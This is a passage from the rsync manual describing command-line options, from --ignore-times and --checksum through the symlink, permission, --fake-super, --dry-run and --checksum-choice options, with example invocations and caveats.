This option affects the information that is output by the client at the start of a daemon transfer. This suppresses the message-of-the-day (MOTD) text, but it also affects the list of modules that the daemon sends in response to the “rsync host::” request (due to a limitation in the rsync protocol), so omit this option if you want to request the list of modules from the daemon.

–ignore-times, -I
Normally rsync will skip any files that are already the same size and have the same modification timestamp. This option turns off this “quick check” behavior, causing all files to be updated.

This option can be confusing compared to –ignore-existing and –ignore-non-existing in that that they cause rsync to transfer fewer files, while this option causes rsync to transfer more files.

–size-only
This modifies rsync’s “quick check” algorithm for finding files that need to be transferred, changing it from the default of transferring files with either a changed size or a changed last-modified time to just looking for files that have changed in size. This is useful when starting to use rsync after using another mirroring system which may not preserve timestamps exactly.

–modify-window=NUM, -@
When comparing two timestamps, rsync treats the timestamps as being equal if they differ by no more than the modify-window value. The default is 0, which matches just integer seconds. If you specify a negative value (and the receiver is at least version 3.1.3) then nanoseconds will also be taken into account. Specifying 1 is useful for copies to/from MS Windows FAT filesystems, because FAT represents times with a 2-second resolution (allowing times to differ from the original by up to 1 second).

If you want all your transfers to default to comparing nanoseconds, you can create a ~/.popt file and put these lines in it:

rsync alias -a -a@-1
rsync alias -t -t@-1

With that as the default, you’d need to specify –modify-window=0 (aka -@0) to override it and ignore nanoseconds, e.g. if you’re copying between ext3 and ext4, or if the receiving rsync is older than 3.1.3.

–checksum, -c
This changes the way rsync checks if the files have been changed and are in need of a transfer. Without this option, rsync uses a “quick check” that (by default) checks if each file’s size and time of last modification match between the sender and receiver. This option changes this to compare a 128-bit checksum for each file that has a matching size. Generating the checksums means that both sides will expend a lot of disk I/O reading all the data in the files in the transfer, so this can slow things down significantly (and this is prior to any reading that will be done to transfer changed files)

The sending side generates its checksums while it is doing the file-system scan that builds the list of the available files. The receiver generates its checksums when it is scanning for changed files, and will checksum any file that has the same size as the corresponding sender’s file: files with either a changed size or a changed checksum are selected for transfer.

Note that rsync always verifies that each transferred file was correctly reconstructed on the receiving side by checking a whole-file checksum that is generated as the file is transferred, but that automatic after-the-transfer verification has nothing to do with this option’s before-the-transfer “Does this file need to be updated?” check.

The checksum used is auto-negotiated between the client and the server, but can be overridden using either the –checksum-choice (–cc) option or an environment variable that is discussed in that option’s section.

–archive, -a
This is equivalent to -rlptgoD. It is a quick way of saying you want recursion and want to preserve almost everything. Be aware that it does not include preserving ACLs (-A), xattrs (-X), atimes (-U), crtimes (-N), nor the finding and preserving of hardlinks (-H).

The only exception to the above equivalence is when –files-from is specified, in which case -r is not implied.

–no-OPTION
You may turn off one or more implied options by prefixing the option name with “no-”. Not all positive options have a negated opposite, but a lot do, including those that can be used to disable an implied option (e.g. –no-D, –no-perms) or have different defaults in various circumstances (e.g. –no-whole-file, –no-blocking-io, –no-dirs). Every valid negated option accepts both the short and the long option name after the “no-” prefix (e.g. –no-R is the same as –no-relative).

As an example, if you want to use –archive (-a) but don’t want –owner (-o), instead of converting -a into -rlptgD, you can specify -a –no-o (aka –archive –no-owner).

The order of the options is important: if you specify –no-r -a, the -r option would end up being turned on, the opposite of -a –no-r. Note also that the side-effects of the –files-from option are NOT positional, as it affects the default state of several options and slightly changes the meaning of -a (see the –files-from option for more details).

–recursive, -r
This tells rsync to copy directories recursively. See also –dirs (-d) for an option that allows the scanning of a single directory.

See the –inc-recursive option for a discussion of the incremental recursion for creating the list of files to transfer.

–inc-recursive, –i-r
This option explicitly enables on incremental recursion when scanning for files, which is enabled by default when using the –recursive option and both sides of the transfer are running rsync 3.0.0 or newer.

Incremental recursion uses much less memory than non-incremental, while also beginning the transfer more quickly (since it doesn’t need to scan the entire transfer hierarchy before it starts transferring files). If no recursion is enabled in the source files, this option has no effect.

Some options require rsync to know the full file list, so these options disable the incremental recursion mode. These include:

  1. –delete-before (the old default of –delete)

  2. –delete-after

  3. –prune-empty-dirs

  4. –delay-updates

In order to make –delete compatible with incremental recursion, rsync 3.0.0 made –delete-during the default delete mode (which was first added in 2.6.4).

One side-effect of incremental recursion is that any missing sub-directories inside a recursively-scanned directory are (by default) created prior to recursing into the sub-dirs. This earlier creation point (compared to a non-incremental recursion) allows rsync to then set the modify time of the finished directory right away (without having to delay that until a bunch of recursive copying has finished). However, these early directories don’t yet have their completed mode, mtime, or ownership set – they have more restrictive rights until the subdirectory’s copying actually begins. This early-creation idiom can be avoided by using the –omit-dir-times option.

Incremental recursion can be disabled using the –no-inc-recursive (–no-i-r) option.

–no-inc-recursive, –no-i-r
Disables the new incremental recursion algorithm of the –recursive option. This makes rsync scan the full file list before it begins to transfer files. See –inc-recursive for more info.

–relative, -R
Use relative paths. This means that the full path names specified on the command line are sent to the server rather than just the last parts of the filenames. This is particularly useful when you want to send several different directories at the same time. For example, if you used this command:

rsync -av /foo/bar/baz.c remote:/tmp/

would create a file named baz.c in /tmp/ on the remote machine. If instead you used

rsync -avR /foo/bar/baz.c remote:/tmp/

then a file named /tmp/foo/bar/baz.c would be created on the remote machine, preserving its full path. These extra path elements are called “implied directories” (i.e. the “foo” and the “foo/bar” directories in the above example).

Beginning with rsync 3.0.0, rsync always sends these implied directories as real directories in the file list, even if a path element is really a symlink on the sending side. This prevents some really unexpected behaviors when copying the full path of a file that you didn’t realize had a symlink in its path. If you want to duplicate a server-side symlink, include both the symlink via its path, and referent directory via its real path. If you’re dealing with an older rsync on the sending side, you may need to use the –no-implied-dirs option.

It is also possible to limit the amount of path information that is sent as implied directories for each path you specify. With a modern rsync on the sending side (beginning with 2.6.7), you can insert a dot and a slash into the source path, like this:

rsync -avR /foo/./bar/baz.c remote:/tmp/

That would create /tmp/bar/baz.c on the remote machine. (Note that the dot must be followed by a slash, so “/foo/.” would not be abbreviated.) For older rsync versions, you would need to use a chdir to limit the source path. For example, when pushing files:

(cd /foo; rsync -avR bar/baz.c remote:/tmp/)

(Note that the parens put the two commands into a sub-shell, so that the “cd” command doesn’t remain in effect for future commands.) If you’re pulling files from an older rsync, use this idiom (but only for a non-daemon transfer):

rsync -avR --rsync-path="cd /foo; rsync" \
     remote:bar/baz.c /tmp/

–no-implied-dirs
This option affects the default behavior of the –relative option. When it is specified, the attributes of the implied directories from the source names are not included in the transfer. This means that the corresponding path elements on the destination system are left unchanged if they exist, and any missing implied directories are created with default attributes. This even allows these implied path elements to have big differences, such as being a symlink to a directory on the receiving side.

For instance, if a command-line arg or a files-from entry told rsync to transfer the file “path/foo/file”, the directories “path” and “path/foo” are implied when –relative is used. If “path/foo” is a symlink to “bar” on the destination system, the receiving rsync would ordinarily delete “path/foo”, recreate it as a directory, and receive the file into the new directory. With –no-implied-dirs, the receiving rsync updates “path/foo/file” using the existing path elements, which means that the file ends up being created in “path/bar”. Another way to accomplish this link preservation is to use the –keep-dirlinks option (which will also affect symlinks to directories in the rest of the transfer).

When pulling files from an rsync older than 3.0.0, you may need to use this option if the sending side has a symlink in the path you request and you wish the implied directories to be transferred as normal directories.

–backup, -b
With this option, preexisting destination files are renamed as each file is transferred or deleted. You can control where the backup file goes and what (if any) suffix gets appended using the –backup-dir and –suffix options.

If you don’t specify –backup-dir:

  1. the –omit-dir-times option will be forced on

  2. the use of –delete (without –delete-excluded), causes rsync to add a “protect” filter-rule for the backup suffix to the end of all your existing filters that looks like this: -f “P *~”. This rule prevents previously backed-up files from being deleted.

Note that if you are supplying your own filter rules, you may need to manually insert your own exclude/protect rule somewhere higher up in the list so that it has a high enough priority to be effective (e.g. if your rules specify a trailing inclusion/exclusion of *, the auto-added rule would never be reached).

–backup-dir=DIR
This implies the –backup option, and tells rsync to store all backups in the specified directory on the receiving side. This can be used for incremental backups. You can additionally specify a backup suffix using the –suffix option (otherwise the files backed up in the specified directory will keep their original filenames).

Note that if you specify a relative path, the backup directory will be relative to the destination directory, so you probably want to specify either an absolute path or a path that starts with “../”. If an rsync daemon is the receiver, the backup dir cannot go outside the module’s path hierarchy, so take extra care not to delete it or copy into it.

–suffix=SUFFIX
This option allows you to override the default backup suffix used with the –backup (-b) option. The default suffix is a ~ if no –backup-dir was specified, otherwise it is an empty string.

–update, -u
This forces rsync to skip any files which exist on the destination and have a modified time that is newer than the source file. (If an existing destination file has a modification time equal to the source file’s, it will be updated if the sizes are different.)

Note that this does not affect the copying of dirs, symlinks, or other special files. Also, a difference of file format between the sender and receiver is always considered to be important enough for an update, no matter what date is on the objects. In other words, if the source has a directory where the destination has a file, the transfer would occur regardless of the timestamps.

This option is a TRANSFER RULE, so don’t expect any exclude side effects.

A caution for those that choose to combine –inplace with –update: an interrupted transfer will leave behind a partial file on the receiving side that has a very recent modified time, so re-running the transfer will probably not continue the interrupted file. As such, it is usually best to avoid combining this with –inplace unless you have implemented manual steps to handle any interrupted in-progress files.

–inplace
This option changes how rsync transfers a file when its data needs to be updated: instead of the default method of creating a new copy of the file and moving it into place when it is complete, rsync instead writes the updated data directly to the destination file.

This has several effects:

  1. Hard links are not broken. This means the new data will be visible through other hard links to the destination file. Moreover, attempts to copy differing source files onto a multiply-linked destination file will result in a “tug of war” with the destination data changing back and forth.

  2. In-use binaries cannot be updated (either the OS will prevent this from happening, or binaries that attempt to swap-in their data will misbehave or crash).

  3. The file’s data will be in an inconsistent state during the transfer and will be left that way if the transfer is interrupted or if an update fails.

  4. A file that rsync cannot write to cannot be updated. While a super user can update any file, a normal user needs to be granted write permission for the open of the file for writing to be successful.

  5. The efficiency of rsync’s delta-transfer algorithm may be reduced if some data in the destination file is overwritten before it can be copied to a position later in the file. This does not apply if you use –backup, since rsync is smart enough to use the backup file as the basis file for the transfer.

WARNING: you should not use this option to update files that are being accessed by others, so be careful when choosing to use this for a copy.

This option is useful for transferring large files with block-based changes or appended data, and also on systems that are disk bound, not network bound. It can also help keep a copy-on-write filesystem snapshot from diverging the entire contents of a file that only has minor changes.

The option implies –partial (since an interrupted transfer does not delete the file), but conflicts with –partial-dir and –delay-updates. Prior to rsync 2.6.4 –inplace was also incompatible with –compare-dest and –link-dest.

–append
This special copy mode only works to efficiently update files that are known to be growing larger where any existing content on the receiving side is also known to be the same as the content on the sender. The use of –append can be dangerous if you aren’t 100% sure that all the files in the transfer are shared, growing files. You should thus use filter rules to ensure that you weed out any files that do not fit this criteria.

Rsync updates these growing file in-place without verifying any of the existing content in the file (it only verifies the content that it is appending). Rsync skips any files that exist on the receiving side that are not shorter than the associated file on the sending side (which means that new files are transferred). It also skips any files whose size on the sending side gets shorter during the send negotiations (rsync warns about a “diminished” file when this happens).

This does not interfere with the updating of a file’s non-content attributes (e.g. permissions, ownership, etc.) when the file does not need to be transferred, nor does it affect the updating of any directories or non-regular files.

–append-verify
This special copy mode works like –append except that all the data in the file is included in the checksum verification (making it less efficient but also potentially safer). This option can be dangerous if you aren’t 100% sure that all the files in the transfer are shared, growing files. See the –append option for more details.

Note: prior to rsync 3.0.0, the –append option worked like –append-verify, so if you are interacting with an older rsync (or the transfer is using a protocol prior to 30), specifying either append option will initiate an –append-verify transfer.

–dirs, -d
Tell the sending side to include any directories that are encountered. Unlike –recursive, a directory’s contents are not copied unless the directory name specified is “.” or ends with a trailing slash (e.g. “.”, “dir/.”, “dir/”, etc.). Without this option or the –recursive option, rsync will skip all directories it encounters (and output a message to that effect for each one). If you specify both –dirs and –recursive, –recursive takes precedence.

The –dirs option is implied by the –files-from option or the –list-only option (including an implied –list-only usage) if –recursive wasn’t specified (so that directories are seen in the listing). Specify –no-dirs (or –no-d) if you want to turn this off.

There is also a backward-compatibility helper option, –old-dirs (–old-d) that tells rsync to use a hack of -r –exclude=’/*/*’ to get an older rsync to list a single directory without recursing.

–mkpath
Create all missing path components of the destination path.

By default, rsync allows only the final component of the destination path to not exist, which is an attempt to help you to validate your destination path. With this option, rsync creates all the missing destination-path components, just as if mkdir -p $DEST_PATH had been run on the receiving side.

When specifying a destination path, including a trailing slash ensures that the whole path is treated as directory names to be created, even when the file list has a single item. See the COPYING TO A DIFFERENT NAME section for full details on how rsync decides if a final destination-path component should be created as a directory or not.

If you would like the newly-created destination dirs to match the dirs on the sending side, you should be using –relative (-R) instead of –mkpath. For instance, the following two commands result in the same destination tree, but only the second command ensures that the “some/extra/path” components match the dirs on the sending side:

rsync -ai --mkpath host:some/extra/path/*.c some/extra/path/
rsync -aiR host:some/extra/path/*.c ./

–links, -l
Add symlinks to the transferred files instead of noisily ignoring them with a “non-regular file” warning for each symlink encountered. You can alternately silence the warning by specifying –info=nonreg0.

The default handling of symlinks is to recreate each symlink’s unchanged value on the receiving side.

See the SYMBOLIC LINKS section for multi-option info.

–copy-links, -L
The sender transforms each symlink encountered in the transfer into the referent item, following the symlink chain to the file or directory that it references. If a symlink chain is broken, an error is output and the file is dropped from the transfer.

This option supersedes any other options that affect symlinks in the transfer, since there are no symlinks left in the transfer.

This option does not change the handling of existing symlinks on the receiving side, unlike versions of rsync prior to 2.6.3 which had the side-effect of telling the receiving side to also follow symlinks. A modern rsync won’t forward this option to a remote receiver (since only the sender needs to know about it), so this caveat should only affect someone using an rsync client older than 2.6.7 (which is when -L stopped being forwarded to the receiver).

See the –keep-dirlinks (-K) if you need a symlink to a directory to be treated as a real directory on the receiving side.

See the SYMBOLIC LINKS section for multi-option info.

–copy-unsafe-links
This tells rsync to copy the referent of symbolic links that point outside the copied tree. Absolute symlinks are also treated like ordinary files, and so are any symlinks in the source path itself when –relative is used.

Note that the cut-off point is the top of the transfer, which is the part of the path that rsync isn’t mentioning in the verbose output. If you copy “/src/subdir” to “/dest/” then the “subdir” directory is a name inside the transfer tree, not the top of the transfer (which is /src) so it is legal for created relative symlinks to refer to other names inside the /src and /dest directories. If you instead copy “/src/subdir/” (with a trailing slash) to “/dest/subdir” that would not allow symlinks to any files outside of “subdir”.

Note that safe symlinks are only copied if –links was also specified or implied. The –copy-unsafe-links option has no extra effect when combined with –copy-links.

See the SYMBOLIC LINKS section for multi-option info.

–safe-links
This tells the receiving rsync to ignore any symbolic links in the transfer which point outside the copied tree. All absolute symlinks are also ignored.

Since this ignoring is happening on the receiving side, it will still be effective even when the sending side has munged symlinks (when it is using –munge-links). It also affects deletions, since the file being present in the transfer prevents any matching file on the receiver from being deleted when the symlink is deemed to be unsafe and is skipped.

This option must be combined with –links (or –archive) to have any symlinks in the transfer to conditionally ignore. Its effect is superseded by –copy-unsafe-links.

Using this option in conjunction with –relative may give unexpected results.

See the SYMBOLIC LINKS section for multi-option info.

–munge-links
This option affects just one side of the transfer and tells rsync to munge symlink values when it is receiving files or unmunge symlink values when it is sending files. The munged values make the symlinks unusable on disk but allows the original contents of the symlinks to be recovered.

The server-side rsync often enables this option without the client’s knowledge, such as in an rsync daemon’s configuration file or by an option given to the rrsync (restricted rsync) script. When specified on the client side, specify the option normally if it is the client side that has/needs the munged symlinks, or use -M–munge-links to give the option to the server when it has/needs the munged symlinks. Note that on a local transfer, the client is the sender, so specifying the option directly unmunges symlinks while specifying it as a remote option munges symlinks.

This option has no effect when sent to a daemon via –remote-option because the daemon configures whether it wants munged symlinks via its “munge symlinks” parameter.

The symlink value is munged/unmunged once it is in the transfer, so any option that transforms symlinks into non-symlinks occurs prior to the munging/unmunging except for –safe-links, which is a choice that the receiver makes, so it bases its decision on the munged/unmunged value. This does mean that if a receiver has munging enabled, that using –safe-links will cause all symlinks to be ignored (since they are all absolute).

The method that rsync uses to munge the symlinks is to prefix each one’s value with the string “/rsyncd-munged/”. This prevents the links from being used as long as the directory does not exist. When this option is enabled, rsync will refuse to run if that path is a directory or a symlink to a directory (though it only checks at startup). See also the “munge-symlinks” python script in the support directory of the source code for a way to munge/unmunge one or more symlinks in-place.

–copy-dirlinks, -k
This option causes the sending side to treat a symlink to a directory as though it were a real directory. This is useful if you don’t want symlinks to non-directories to be affected, as they would be using –copy-links.

Without this option, if the sending side has replaced a directory with a symlink to a directory, the receiving side will delete anything that is in the way of the new symlink, including a directory hierarchy (as long as –force or –delete is in effect).

See also –keep-dirlinks for an analogous option for the receiving side.

–copy-dirlinks applies to all symlinks to directories in the source. If you want to follow only a few specified symlinks, a trick you can use is to pass them as additional source args with a trailing slash, using –relative to make the paths match up right. For example:

rsync -r --relative src/./ src/./follow-me/ dest/

This works because rsync calls lstat(2) on the source arg as given, and the trailing slash makes lstat(2) follow the symlink, giving rise to a directory in the file-list which overrides the symlink found during the scan of “src/./”.

See the SYMBOLIC LINKS section for multi-option info.

–keep-dirlinks, -K
This option causes the receiving side to treat a symlink to a directory as though it were a real directory, but only if it matches a real directory from the sender. Without this option, the receiver’s symlink would be deleted and replaced with a real directory.

For example, suppose you transfer a directory “foo” that contains a file “file”, but “foo” is a symlink to directory “bar” on the receiver. Without –keep-dirlinks, the receiver deletes symlink “foo”, recreates it as a directory, and receives the file into the new directory. With –keep-dirlinks, the receiver keeps the symlink and “file” ends up in “bar”.

One note of caution: if you use –keep-dirlinks, you must trust all the symlinks in the copy or enable the –munge-links option on the receiving side! If it is possible for an untrusted user to create their own symlink to any real directory, the user could then (on a subsequent copy) replace the symlink with a real directory and affect the content of whatever directory the symlink references. For backup copies, you are better off using something like a bind mount instead of a symlink to modify your receiving hierarchy.

See also –copy-dirlinks for an analogous option for the sending side.

See the SYMBOLIC LINKS section for multi-option info.

–hard-links, -H
This tells rsync to look for hard-linked files in the source and link together the corresponding files on the destination. Without this option, hard-linked files in the source are treated as though they were separate files.

This option does NOT necessarily ensure that the pattern of hard links on the destination exactly matches that on the source. Cases in which the destination may end up with extra hard links include the following:

  1. If the destination contains extraneous hard-links (more linking than what is present in the source file list), the copying algorithm will not break them explicitly. However, if one or more of the paths have content differences, the normal file-update process will break those extra links (unless you are using the –inplace option).

  2. If you specify a –link-dest directory that contains hard links, the linking of the destination files against the –link-dest files can cause some paths in the destination to become linked together due to the –link-dest associations.

Note that rsync can only detect hard links between files that are inside the transfer set. If rsync updates a file that has extra hard-link connections to files outside the transfer, that linkage will be broken. If you are tempted to use the –inplace option to avoid this breakage, be very careful that you know how your files are being updated so that you are certain that no unintended changes happen due to lingering hard links (and see the –inplace option for more caveats).

If incremental recursion is active (see –inc-recursive), rsync may transfer a missing hard-linked file before it finds that another link for that contents exists elsewhere in the hierarchy. This does not affect the accuracy of the transfer (i.e. which files are hard-linked together), just its efficiency (i.e. copying the data for a new, early copy of a hard-linked file that could have been found later in the transfer in another member of the hard-linked set of files). One way to avoid this inefficiency is to disable incremental recursion using the –no-inc-recursive option.

–perms, -p
This option causes the receiving rsync to set the destination permissions to be the same as the source permissions. (See also the –chmod option for a way to modify what rsync considers to be the source permissions.)

When this option is off, permissions are set as follows:

  1. Existing files (including updated files) retain their existing permissions, though the –executability option might change just the execute permission for the file.

  2. New files get their “normal” permission bits set to the source file’s permissions masked with the receiving directory’s default permissions (either the receiving process’s umask, or the permissions specified via the destination directory’s default ACL), and their special permission bits disabled except in the case where a new directory inherits a setgid bit from its parent directory.

Thus, when –perms and –executability are both disabled, rsync’s behavior is the same as that of other file-copy utilities, such as cp(1) and tar(1).

In summary: to give destination files (both old and new) the source permissions, use –perms. To give new files the destination-default permissions (while leaving existing files unchanged), make sure that the –perms option is off and use –chmod=ugo=rwX (which ensures that all non-masked bits get enabled). If you’d care to make this latter behavior easier to type, you could define a popt alias for it, such as putting this line in the file ~/.popt (the following defines the -Z option, and includes –no-g to use the default group of the destination dir):

rsync alias -Z –no-p –no-g –chmod=ugo=rwX

You could then use this new option in a command such as this one:

rsync -avZ src/ dest/

(Caveat: make sure that -a does not follow -Z, or it will re-enable the two –no-* options mentioned above.)

The preservation of the destination’s setgid bit on newly-created directories when –perms is off was added in rsync 2.6.7. Older rsync versions erroneously preserved the three special permission bits for newly-created files when –perms was off, while overriding the destination’s setgid bit setting on a newly-created directory. Default ACL observance was added to the ACL patch for rsync 2.6.7, so older (or non-ACL-enabled) rsyncs use the umask even if default ACLs are present. (Keep in mind that it is the version of the receiving rsync that affects these behaviors.)

–executability, -E
This option causes rsync to preserve the executability (or non-executability) of regular files when –perms is not enabled. A regular file is considered to be executable if at least one ‘x’ is turned on in its permissions. When an existing destination file’s executability differs from that of the corresponding source file, rsync modifies the destination file’s permissions as follows:

  1. To make a file non-executable, rsync turns off all its ‘x’ permissions.

  2. To make a file executable, rsync turns on each ‘x’ permission that has a corresponding ‘r’ permission enabled.

If –perms is enabled, this option is ignored.

–acls, -A
This option causes rsync to update the destination ACLs to be the same as the source ACLs. The option also implies –perms.

The source and destination systems must have compatible ACL entries for this option to work properly. See the –fake-super option for a way to backup and restore ACLs that are not compatible.

–xattrs, -X
This option causes rsync to update the destination extended attributes to be the same as the source ones.

For systems that support extended-attribute namespaces, a copy being done by a super-user copies all namespaces except system.*. A normal user only copies the user.* namespace. To be able to backup and restore non-user namespaces as a normal user, see the –fake-super option.

The above name filtering can be overridden by using one or more filter options with the x modifier. When you specify an xattr-affecting filter rule, rsync requires that you do your own system/user filtering, as well as any additional filtering for what xattr names are copied and what names are allowed to be deleted. For example, to skip the system namespace, you could specify:

--filter='-x system.*'

To skip all namespaces except the user namespace, you could specify a negated-user match:

--filter='-x! user.*'

To prevent any attributes from being deleted, you could specify a receiver-only rule that excludes all names:

--filter='-xr *'

Note that the -X option does not copy rsync’s special xattr values (e.g. those used by –fake-super) unless you repeat the option (e.g. -XX). This “copy all xattrs” mode cannot be used with –fake-super.

–chmod=CHMOD
This option tells rsync to apply one or more comma-separated “chmod” modes to the permission of the files in the transfer. The resulting value is treated as though it were the permissions that the sending side supplied for the file, which means that this option can seem to have no effect on existing files if –perms is not enabled.

In addition to the normal parsing rules specified in the chmod(1) manpage, you can specify an item that should only apply to a directory by prefixing it with a ‘D’, or specify an item that should only apply to a file by prefixing it with a ‘F’. For example, the following will ensure that all directories get marked set-gid, that no files are other-writable, that both are user-writable and group-writable, and that both have consistent executability across all bits:

--chmod=Dg+s,ug+w,Fo-w,+X

Using octal mode numbers is also allowed:

--chmod=D2775,F664

It is also legal to specify multiple –chmod options, as each additional option is just appended to the list of changes to make.

See the –perms and –executability options for how the resulting permission value can be applied to the files in the transfer.

–owner, -o
This option causes rsync to set the owner of the destination file to be the same as the source file, but only if the receiving rsync is being run as the super-user (see also the –super and –fake-super options). Without this option, the owner of new and/or transferred files are set to the invoking user on the receiving side.

The preservation of ownership will associate matching names by default, but may fall back to using the ID number in some circumstances (see also the –numeric-ids option for a full discussion).

–group, -g
This option causes rsync to set the group of the destination file to be the same as the source file. If the receiving program is not running as the super-user (or if –no-super was specified), only groups that the invoking user on the receiving side is a member of will be preserved. Without this option, the group is set to the default group of the invoking user on the receiving side.

The preservation of group information will associate matching names by default, but may fall back to using the ID number in some circumstances (see also the –numeric-ids option for a full discussion).

–devices
This option causes rsync to transfer character and block device files to the remote system to recreate these devices. If the receiving rsync is not being run as the super-user, rsync silently skips creating the device files (see also the –super and –fake-super options).

By default, rsync generates a “non-regular file” warning for each device file encountered when this option is not set. You can silence the warning by specifying –info=nonreg0.

–specials
This option causes rsync to transfer special files, such as named sockets and fifos. If the receiving rsync is not being run as the super-user, rsync silently skips creating the special files (see also the –super and –fake-super options).

By default, rsync generates a “non-regular file” warning for each special file encountered when this option is not set. You can silence the warning by specifying –info=nonreg0.

-D
The -D option is equivalent to “–devices –specials”.

–copy-devices
This tells rsync to treat a device on the sending side as a regular file, allowing it to be copied to a normal destination file (or another device if –write-devices was also specified).

This option is refused by default by an rsync daemon.

–write-devices
This tells rsync to treat a device on the receiving side as a regular file, allowing the writing of file data into a device.

This option implies the –inplace option.

Be careful using this, as you should know what devices are present on the receiving side of the transfer, especially when running rsync as root.

This option is refused by default by an rsync daemon.

–times, -t
This tells rsync to transfer modification times along with the files and update them on the remote system. Note that if this option is not used, the optimization that excludes files that have not been modified cannot be effective; in other words, a missing -t (or -a) will cause the next transfer to behave as if it used –ignore-times (-I), causing all files to be updated (though rsync’s delta-transfer algorithm will make the update fairly efficient if the files haven’t actually changed, you’re much better off using -t).

A modern rsync that is using transfer protocol 30 or 31 conveys a modify time using up to 8-bytes. If rsync is forced to speak an older protocol (perhaps due to the remote rsync being older than 3.0.0) a modify time is conveyed using 4-bytes. Prior to 3.2.7, these shorter values could convey a date range of 13-Dec-1901 to 19-Jan-2038. Beginning with 3.2.7, these 4-byte values now convey a date range of 1-Jan-1970 to 7-Feb-2106. If you have files dated older than 1970, make sure your rsync executables are upgraded so that the full range of dates can be conveyed.

–atimes, -U
This tells rsync to set the access (use) times of the destination files to the same value as the source files.

If repeated, it also sets the –open-noatime option, which can help you to make the sending and receiving systems have the same access times on the transferred files without needing to run rsync an extra time after a file is transferred.

Note that some older rsync versions (prior to 3.2.0) may have been built with a pre-release –atimes patch that does not imply –open-noatime when this option is repeated.

–open-noatime
This tells rsync to open files with the O_NOATIME flag (on systems that support it) to avoid changing the access time of the files that are being transferred. If your OS does not support the O_NOATIME flag then rsync will silently ignore this option. Note also that some filesystems are mounted to avoid updating the atime on read access even without the O_NOATIME flag being set.

–crtimes, -N,
This tells rsync to set the create times (newness) of the destination files to the same value as the source files. Your OS & filesystem must support the setting of arbitrary creation (birth) times for this option to be supported.

–omit-dir-times, -O
This tells rsync to omit directories when it is preserving modification, access, and create times. If NFS is sharing the directories on the receiving side, it is a good idea to use -O. This option is inferred if you use –backup without –backup-dir.

This option also has the side-effect of avoiding early creation of missing sub-directories when incremental recursion is enabled, as discussed in the –inc-recursive section.

–omit-link-times, -J
This tells rsync to omit symlinks when it is preserving modification, access, and create times.

–super
This tells the receiving side to attempt super-user activities even if the receiving rsync wasn’t run by the super-user. These activities include: preserving users via the –owner option, preserving all groups (not just the current user’s groups) via the –group option, and copying devices via the –devices option. This is useful for systems that allow such activities without being the super-user, and also for ensuring that you will get errors if the receiving side isn’t being run as the super-user. To turn off super-user activities, the super-user can use –no-super.

–fake-super
When this option is enabled, rsync simulates super-user activities by saving/restoring the privileged attributes via special extended attributes that are attached to each file (as needed). This includes the file’s owner and group (if it is not the default), the file’s device info (device & special files are created as empty text files), and any permission bits that we won’t allow to be set on the real file (e.g. the real file gets u-s,g-s,o-t for safety) or that would limit the owner’s access (since the real super-user can always access/change a file, the files we create can always be accessed/changed by the creating user). This option also handles ACLs (if –acls was specified) and non-user extended attributes (if –xattrs was specified).

This is a good way to backup data without using a super-user, and to store ACLs from incompatible systems.

The –fake-super option only affects the side where the option is used. To affect the remote side of a remote-shell connection, use the –remote-option (-M) option:

rsync -av -M--fake-super /src/ host:/dest/

For a local copy, this option affects both the source and the destination. If you wish a local copy to enable this option just for the destination files, specify -M–fake-super. If you wish a local copy to enable this option just for the source files, combine –fake-super with -M–super.

This option is overridden by both –super and –no-super.

See also the fake super setting in the daemon’s rsyncd.conf file.

–sparse, -S
Try to handle sparse files efficiently so they take up less space on the destination. If combined with –inplace the file created might not end up with sparse blocks with some combinations of kernel version and/or filesystem type. If –whole-file is in effect (e.g. for a local copy) then it will always work because rsync truncates the file prior to writing out the updated version.

Note that versions of rsync older than 3.1.3 will reject the combination of –sparse and –inplace.

–preallocate
This tells the receiver to allocate each destination file to its eventual size before writing data to the file. Rsync will only use the real filesystem-level preallocation support provided by Linux’s fallocate(2) system call or Cygwin’s posix_fallocate(3), not the slow glibc implementation that writes a null byte into each block.

Without this option, larger files may not be entirely contiguous on the filesystem, but with this option rsync will probably copy more slowly. If the destination is not an extent-supporting filesystem (such as ext4, xfs, NTFS, etc.), this option may have no positive effect at all.

If combined with –sparse, the file will only have sparse blocks (as opposed to allocated sequences of null bytes) if the kernel version and filesystem type support creating holes in the allocated data.

–dry-run, -n
This makes rsync perform a trial run that doesn’t make any changes (and produces mostly the same output as a real run). It is most commonly used in combination with the –verbose (-v) and/or –itemize-changes (-i) options to see what an rsync command is going to do before one actually runs it.

The output of –itemize-changes is supposed to be exactly the same on a dry run and a subsequent real run (barring intentional trickery and system call failures); if it isn’t, that’s a bug. Other output should be mostly unchanged, but may differ in some areas. Notably, a dry run does not send the actual data for file transfers, so –progress has no effect, the “bytes sent”, “bytes received”, “literal data”, and “matched data” statistics are too small, and the “speedup” value is equivalent to a run where no file transfers were needed.

–whole-file, -W
This option disables rsync’s delta-transfer algorithm, which causes all transferred files to be sent whole. The transfer may be faster if this option is used when the bandwidth between the source and destination machines is higher than the bandwidth to disk (especially when the “disk” is actually a networked filesystem). This is the default when both the source and destination are specified as local paths, but only if no batch-writing option is in effect.

–no-whole-file, –no-W
Disable whole-file updating when it is enabled by default for a local transfer. This usually slows rsync down, but it can be useful if you are trying to minimize the writes to the destination file (if combined with –inplace) or for testing the checksum-based update algorithm.

See also the –whole-file option.

–checksum-choice=STR, –cc=STR
This option overrides the checksum algorithms. If one algorithm name is specified, it is used for both the transfer checksums and (assuming –checksum is specified) the pre-transfer checksums. If two comma-separated names are supplied, the first name affects the transfer checksums, and the second name affects the pre-transfer checksums (-c).

The checksum options that you may be able to use are:

  1. auto (the default automatic choice)

  2. xxh128

  3. xxh3

  4. xxh64 (aka xxhash)

  5. md5

  6. md4

  7. sha1

  8. none

Run rsync –version to see the default checksum list compiled into your version (which may differ from the list above).

If “none” is specified for the first (or only) name, the –whole-file option is forced on and no checksum verification is performed on the transferred data. If “none” is specified for the second (or only) name, the –checksum option cannot be used.

The “auto” option is the default, where rsync bases its algorithm choice on a negotiation between the client and the server as follows:

When both sides of the transfer are at least 3.2.0, rsync chooses the first algorithm in the client’s list of choices that is also in the server’s list of choices. If no common checksum choice is found, rsync exits with an error. If the remote rsync is too old to support checksum negotiation, a value is chosen based on the protocol version (which chooses between MD5 and various flavors of MD4 based on protocol age).

The default order can be customized by setting the environment variable RSYNC_CHECKSUM_LIST to a space-separated list of acceptable checksum names. If the string contains a “&” character, it is separated into the “client string & server string”, otherwise the same string applies to both. If the string (or string portion) contains no non-whitespace characters, the default checksum list is used. This method does not allow you to specify the transfer checksum separately from the pre-transfer checksum, and it discards “auto” and all unknown checksum names. A list with only invalid names results in a failed negotiation.

